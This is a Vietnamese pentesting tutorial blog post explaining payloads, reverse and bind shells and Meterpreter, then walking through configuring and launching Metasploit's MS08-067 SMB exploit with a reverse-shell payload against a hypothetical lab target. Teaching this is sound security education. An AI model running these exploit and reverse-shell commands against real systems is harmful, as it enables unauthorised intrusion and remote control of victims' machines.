Kali Linux Căn Bản – Bài 4: Khái niệm payloads (shellcode) và phân tích module tấn công MS08-067 của Metasploit

Xin chào,

Trong bài hôm nay, chúng ta sẽ học qua về khái niệm payloads (shellcode) đồng thời chúng ta sẽ thử phân tích modules tấn công lỗi MS08-067 trên Windows của Metasploit nhé.

Bài hôm nay chúng ta sử dụng lại khá nhiều kiến thức ở series Mạng Căn Bản Linux Căn Bản, nên bạn nào chưa nắm vững kiến thức 2 phần này thì nên xem lại trước khi vào bài nhé.


1 – Payloads hay shellcode là gì?

Nhiều bạn khi sử dụng Metasploit hẳn đã nghe rất nhiều đến khái niệm payloads hay shellcode, nhưng cụ thể payloads và shellcode là gì?

Theo cách đơn giản nhất có thể hiểu, payloads hay còn được gọi là shellcode là một đoạn code thường được viết dưới dạng machine code (binary) dùng để thực hiện mục đích của pentester sau khi xâm nhập thành công vào hệ thống của nạn nhân.

Các phần mềm khai thác lỗ hổng Remote Code Execution (RCE) (ở mức độ dễ hiểu nhất) thường sẽ có 3 thành phần chính như sau:

  1. Phần khai thác lỗi để xâm nhập mục tiêu
  2. Phần payload để thực hiện mục đích của pentester sau khi xâm nhập
  3. Phần quản lý để thông báo cho pentester biết phần mềm đã xâm nhập thành công hay chưa hoặc có lỗi gì xảy ra trong quá trình chạy phần mềm hay không? v.v

Dành cho bạn nào chưa biết:

Nếu một ứng dụng hay phần mềm dính lỗ hổng Remote Code Execution (RCE), hacker có thể khai thác lỗ hổng này để thực thi các câu lệnh nhằm điều khiển hệ thống ở mức độ căn bản. Một trong những ứng dụng của lỗ hổng RCE đó là nó cho phép hacker tạo kết nối Reverse shell từ máy nạn nhân đến máy của hacker, cho phép hacker có thể điều khiển máy nạn nhân từ xa.

Ví dụ về payload:

Hẳn các bạn còn nhớ đến con ransomware WannyCry từng làm mưa là gió một toàn thế giới cách đây vài năm chứ?

Con ransomware này khai thác một lỗi trên hệ thống Windows có tên là EternalBlue hay tên mã là MS17-010 để xâm nhập vào hệ thống Windows, sau đó nó sẽ chạy một payload đã được hacker cài sẵn để tự động mã hóa toàn bộ dữ liệu trên máy của nạn nhân, đồng thời mở một kết nối Internet từ máy nạn nhân đến một server được hacker kiểm soát nhằm nhận lệnh của hacker.

Khi chạy phần mềm khai thác lỗi để xâm nhập, nếu WannaCry được báo lỗi không thể xâm nhập (có thể do máy nạn nhân không nằm trong danh sách hệ điều hành Windows bị dính lỗi hoặc do nạn nhân dùng MacOS hay Linux) nó sẽ bỏ qua máy đó và tìm đến một mục tiêu khác.

1a – Reverse shell, Bind shell và Meterpreter

Trong thực tế, khi bạn pentest hoặc chơi CTF, payload mà bạn dùng nhiều nhất sẽ là payload tạo kết nối TCP từ máy nạn nhân đến máy của bạn nhằm cho phép bạn kiểm soát máy nạn nhân từ xa. Có 3 loại kết nối chính để thực hiện điều đó:

  1. Reverse shell: Chúng ta đã thực hành tạo Reverse shell để điều khiển máy nạn nhân từ xa trong bài tấn công server Pickle Rick, hẳn bạn vẫn còn nhớ. Quy trình như sau:
    1. Bạn sẽ tạo một payload có chức năng mở một kết nối TCP trỏ ngược về một port đang chờ sẵn kết nối trên máy của bạn
    2. Đính kèm payload đó vào phần mềm tấn công
    3. Dùng Netcat (nc) để mở port mà bạn đã chỉ định trong payload và chờ kết nối
    4. Chạy phần mềm tấn công
    5. Khi payload được chạy trên máy nạn nhân, nó sẽ tạo ra một kết nối TCP trỏ đến port trên máy của bạn mà bạn đã chỉ định. Kết nối này có kèm shell (bạn nào quên khái niệm shell thì xem lại phần 1b của bài này nhé) cho phép bạn có thể điều khiển máy nạn nhân từ xa. Dạng kết nối này được gọi là Reverse shell do shell điều khiển máy nạn nhân chạy ngược (reverse) về máy của bạn.
  2. Bind shell: Trái ngược với Reverse shell, quy trình cụ thể như sau:
    1. Bạn sẽ tạo một bind shell payload
    2. Đính kèm vào phần mềm tấn công
    3. Chạy phần mềm tấn công
    4. Khi payload được chạy trên máy nạn nhân, nó sẽ chạy chương trình shell trên một port của chính máy nạn nhân
    5. Để có thể điều khiển được máy nạn nhân, bạn cần phải dùng Netcat (nc) để kết nối (bind) đến port đang chạy shell trên máy nạn nhân mà bạn đã chỉ định trong payload.
      • Tuy nhiên, với những tính năng vượt trội của các chương trình diệt virus (AV) hiện nay, tính hiệu quả của bind shell hiện khá thấp.
  3. Meterpreter: Meterpreter có thể được coi như là một đặc sản của Metasploit. Trong bài tấn công server Pickle Rick ở phần nâng cao, mình cũng đã có giới thiệu sơ qua về Meterpreter rồi, bạn nào quên thì xem lại nhé. Cụ thể, với Meterpreter quy trình thực hiện cũng giống với Reverse shell, chỉ khác ở hai chỗ duy nhất:
    1. Thay vì tạo Reverse shell payload, bạn sẽ tạo Meterpreter payload
    2. Meterpreter payload không thể kết nối với máy tấn công bằng Netcat, nó cần một phần mềm có tên là Metasploit Multi Handler (được tích hợp với Metasploit) để có thể kết nối thành công giữa máy nạn nhân và máy tấn công từ đó cho phép bạn điều khiển máy nạn nhân từ xa

Thật chất, Meterpreter cũng sử dụng Reverse TCP shell (Reverse shell) để tạo kết nối từ máy nạn nhân đến máy tấn công thôi. Nhưng nó lại được thiết kế đặc biệt hơn Reverse shell thông thường ở những điểm sau:

  • Meterpreter có phần vượt trội hơn Reverse shell thông thường ở chỗ nó sử dụng hình thức tấn công in-memory DLL injection để tạo kết nối đến máy tấn công. Điều này có nghĩa là dữ liệu của Meterpreter chỉ được lưu trên RAM (dữ liệu RAM sẽ bị mất khi máy nạn nhân tắt hoặc mất nguồn điện) và không lưu dữ liệu trên ổ cứng. Điều đó có nghĩa là dấu vết để lại trên máy nạn nhân sẽ ít hơn và làm giảm nguy cơ bạn bị phát hiện.
  • Meterpreter cũng không tạo tác vụ mới như Reverse shell thông thường mà nó chỉ trú ẩn trong các tác vụ (processes) đã bị nó kiểm soát, điều này cho phép nó có thể chuyển từ các tác vụ bị nó kiểm soát sang các tác vụ đang chạy bình thường khác. Đây cũng là một yếu tố giúp bạn tránh bị phát hiện.
  • Meterpreter được trang bị những tính năng đặc biệt phục vụ quá trình pentest hiệu quả hơn. Một trong số đó là chức năng “getsystem” (chỉ hoạt động trên hệ thống Windows).

Ví dụ, sau khi xâm nhập máy nạn nhân thành công và có được kết nối Meterpreter từ máy nạn nhân đến máy bạn, bạn có thể gõ lệnh:

getsystem

Lúc này, Metasploit sẽ chạy một đoạn script có tên getsystem, đoạn script này có chức năng tự động chạy một số giải pháp leo thang đặc quyền (privilege escalation) để giúp bạn có được quyền quản trị hệ thống cao nhất (quyền administrator) thông qua kết nối Meterpreter.

Đây là đều là những điều mà Reverse TCP shell thông thường không làm được hoặc phải nhờ đến các phần mềm bên thứ 3 mới làm được.

Lưu ý:

Netcat chỉ có thể bắt được stageless payloads chứ không bắt được staged payloads. Vì Meterpreter là một staged payload, nên Netcat không thể bắt được nó. Vì kiến thức này hơi chuyên sâu, nên mình sẽ không đề cập đến. Bạn nào muốn tìm hiểu thêm, xin tham khảo trang sau.

Trên Metasploit, để hiện ra danh sách payloads, các bạn dùng lệnh sau:

show payloads
H1a.1

2 – Phân tích module tấn công MS08-067 của Metasploit

2a – Metasploit modules là gì?

Metasploit là một tập hợp của các modules khác nhau. Mỗi modules có thể là một phần mềm tấn công hoặc có thể là một công cụ quét lỗi bảo mật, v.v. Metasploit có những modules có thể sử dụng cho bất cứ bước nào trong quy trình pentest.

Để có thể xem các modules có trong Metasploit các bạn dùng câu lệnh sau trên Kali Linux:

ls /usr/share/metasploit-framework/modules

H2.1

Vì đây đều là những directories, nên nếu các bạn muốn vào xem bên trong mỗi module có gì, các bạn có thể dùng lệnh bên dưới nhé.

cd <tên-directory>

2b – Phân tích modules tấn công MS08-067 trên Metasploit

Lưu ý:

Trong mục này, chúng ta sẽ giả định mục tiêu cần tấn công dính lỗi bảo mật MS08-067. Thông tin của mục tiêu như sau:

  • Chạy hệ điều hành Windows XP x86
  • Địa chỉ IPv4: 10.0.0.9
  • Chạy SMB trên port: 556

Thông tin của máy tấn công như sau:

  • Địa chỉ IPv4: 10.0.0.10
  • Mở port: 8888

Các bạn đừng lo, đến task 10, chúng ta sẽ có cơ hội vận dụng toàn bộ kiến thức Metasploit đã học để tấn công một web server, còn hiện tại các bạn chịu khó học chay nhé.

Một điều quan trọng khác mình cần nhấn mạnh đó là khi thực hành phần bên dưới, mặc dù là mục tiêu giả định và IP được mình chọn một cách ngẫu nhiên, nhưng vẫn có khả năng IP đó trùng với IP của một thiết bị trong nhà của bạn. Vì vậy các bạn hãy cẩn thận kiểm tra bằng câu lệnh:

ifconfig (cho Linux)
ipconfig (cho Windows)

Nếu phát hiện IP của bạn trùng lớp mạng ví dụ như 10.0.0.3 chẳng hạn, thì bạn cần thay đổi địa chỉ IP của nạn nhân bên trên thành 11.0.0.9 hoặc bất kỳ địa chỉ IP nào không cùng lớp mạng với bạn. Làm sao để xác định một địa chỉ IP có cùng lớp mạng hay không?

Địa chỉ IPv4 sẽ có cấu trúc như sau a.b.c.d ví dụ 10.0.0.9.

Thì cách dễ nhất đối với mạng nhà đó là bạn thay giá trị của a, ví dụ từ 10 thành 11, chúng ta sẽ có IP 11.0.0.9.

Đặc biệt, các bạn không nên thử nghiệm tấn công phần bên dưới trong các môi trường mạng phức tạp như mạng của trường đại học hay mạng công ty vì có khả năng bạn sẽ tấn công nhầm một máy nào đó có IP trùng với IP mà bạn ngẫu nhiên chọn, hành động này có thể đem lại vài rắc rối không đáng có cho bạn. Thế nên cách tốt nhất là bạn chỉ nên thực hiện với máy ảo hoặc mạng nhà thôi nhé.

2b1 – Lỗi tấn công MS08-067 là gì?

Đây là một lỗi bảo mật khá nghiêm trọng được công bố vào năm 2008. Lỗi bảo mật này nằm trên các hệ thống chạy Windows, trải dài từ Windows 2000 đến Windows 2008. Lỗi này cho phép hacker có thể xâm nhập máy nạn nhân mà không cần khai báo danh tính từ đó cho phép hacker có thể thực thi mã độc nhằm mục đích chiếm quyền điều khiển từ xa.

Bạn nào muốn đọc chi tiết về MS08-067 có thể tham khảo link sau nhé.

2b2 – Phân tích module tấn công MS08-067 trên Metasploit

Đầu tiên, các bạn cần khởi động Metasploit lên với các câu lệnh sau:

vincent@kali:~$ sudo su
root@kali:~# systemctl start postgresql
root@kali:~# msfdb init
root@kali:~# msfconsole
H2b2.1

Sau đó, chúng ta dùng lệnh search để tìm modules MS08-067

search ms08-067
H2b2.2

Và chúng ta thấy một module khai thác lỗi MS08-067 đã hiện ra.

Để hiển thị thông tin chi tiết của lỗi cũng như của module khai thác lỗi, chúng ta sử dụng câu lệnh sau:

info 0

Với 0 là số thứ tự (#) của modules trong hình H2b2.2. Và như vậy chúng ta sẽ có thông tin của lỗi và module khai thác lỗi như hình bên dưới.

H2b2.3

Để sử dụng lỗi khai thác này, chúng ta sẽ dùng lệnh

use 0
H2b2.4

Lúc này bạn sẽ thấy header command đã thay đổi từ msf6 sang msf6 exploit(windows/smb/ms08_067_netapi) nhằm cho biết chúng ta đang khai thác lỗi ms08-067, lỗi này khai thác lỗ hổng của giao thức SMB và là lỗi xảy ra trên hệ điều hành Windows.

windows/smb/ms08_067_netapi cũng có thể được xem là path của lỗi này, theo đó chúng ta có modules ms08_067_netapi nằm bên trong directory smb; directory smb nằm bên trong directory windows.

Bạn nào quên giao thức SMB là gì thì hãy xem lại bài sau nhé.

Với tất cả những modules của Metasploit, để có thể sử dụng được một module, bạn cần phải gán giá trị cho những options nằm trong module đó. Để hiện options của module MS08-067, bạn sử dụng câu lệnh sau:

show options
H2b2.5

Chúng ta sẽ thấy modules MS08-067 cần những options sau:

  • RHOST: Địa chỉ IP của máy nạn nhân
  • RPORT: Port đang chạy dịch vụ SMB trên máy nạn nhân (mặc định là port 445)
  • SMBPIPE: SMB pipe sẽ cho phép bạn tương tác với hệ thống Windows thông qua hệ thống mạng (mặc định là BROWSER)
  • Payload options: Lựa chọn dạng payload sẽ chạy sau khi phần mềm khai thác lỗi xâm nhập thành công (mặc định là Meterpreter)
  • EXITFUNC: Chỉ định DLL và function để gọi khi payload đã được chạy xong (mặc định là thread)
  • LHOST: Địa chỉ IP của máy tấn công
  • LPORT: Port đợi kết nối trỏ về

Để gán hoặc thay đổi giá trị của những options này chúng ta sẽ dùng lệnh set.

Chúng ta có các thông số về mục tiêu như sau:

  • Chạy hệ điều hành Windows XP x86
  • Địa chỉ IPv4: 10.0.0.9
  • Chạy SMB trên port: 556

Thông tin của máy tấn công như sau:

  • Địa chỉ IPv4: 10.0.0.10
  • Mở port: 8888

Chúng ta sẽ gán giá thị RHOSTS bằng câu lệnh:

set RHOSTS 10.0.0.9

Thay đổi giá trị RPORT từ 445 thành 556 bằng câu lệnh sau:

set RPORT 556

Thay đổi địa chỉ IP của máy tấn công bằng câu lệnh sau:

set LHOST 10.0.0.10

Thay đổi port nhận shell của máy tấn công từ 4444 sang 8888 bằng câu lệnh sau:

set LPORT 8888

Sau đó, chúng ta dùng lệnh show options lần nữa chúng ta sẽ có bảng options mới như sau:

show options
H2b2.6

Và các bạn có thể thấy các options của modules MS08-067 đã được thay đổi theo giá trị mới mà chúng ta đã gán.

Lưu ý:

Khi gán giá trị, các bạn cần lưu ý cột “Required”, những options nào mà cột Required đề là “yes” thì bạn không được bỏ trống.

Sau khi gán giá trị cho các options xong, để tiến hành tấn công, chúng ta sẽ dùng lệnh sau:

exploit
H2b2.7

Đương nhiên, tấn công sẽ thất bại do hệ thống chúng ta tấn công hoàn toàn không tồn tại.

Ngoài ra, chúng ta còn có thể thay đổi payload từ Meterpreter thành Reverse TCP shell bình thường với câu lệnh sau:

set payload windows/shell_reverse_tcp
H2b2.8

3 – Task 8 và task 9 của phòng CC: Pen Testing

3a – Task 8

Với task 8, các bạn hãy vận dụng kiến thức đã học trong ngày hôm nay để tìm module tấn công Eternalblue (MS17-10) và thử tự phân tích và trả lời các câu hỏi của task 8 nhé.

Riêng 3 câu cuối của task 8, các bạn có thể để lại đến phần thực hành ở task 10 mình sẽ hướng dẫn.

3b – Task 9

Task 9 sẽ liệt kê những tính năng được trang bị cho Meterpreter, mình nghĩ để phần học được thực tế, chúng ta sẽ học và thực hành luôn các tính năng của Meterpreter trong task 10.

Điều đó đồng nghĩa với việc, ở bài tiếp theo, chúng ta sẽ thực hành tấn công web server bằng Metasploit. Do bài này phải bao quát cả kiến thức của task 9 và task 10, nên bài sẽ có 2 phần. Phần 1 (task 10) sẽ được post vào tối thứ 3 tuần sau và phần 2 (task 9) sẽ được post vào tối thứ 5.


Cám ơn các bạn đã theo dõi,

Vincent Nguyễn

Source:

Penetration Testing: A Hands-On Introduction to Hacking (Georgia Weidman)
https://doubleoctopus.com/security-wiki/threats-and-tools/meterpreter/

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s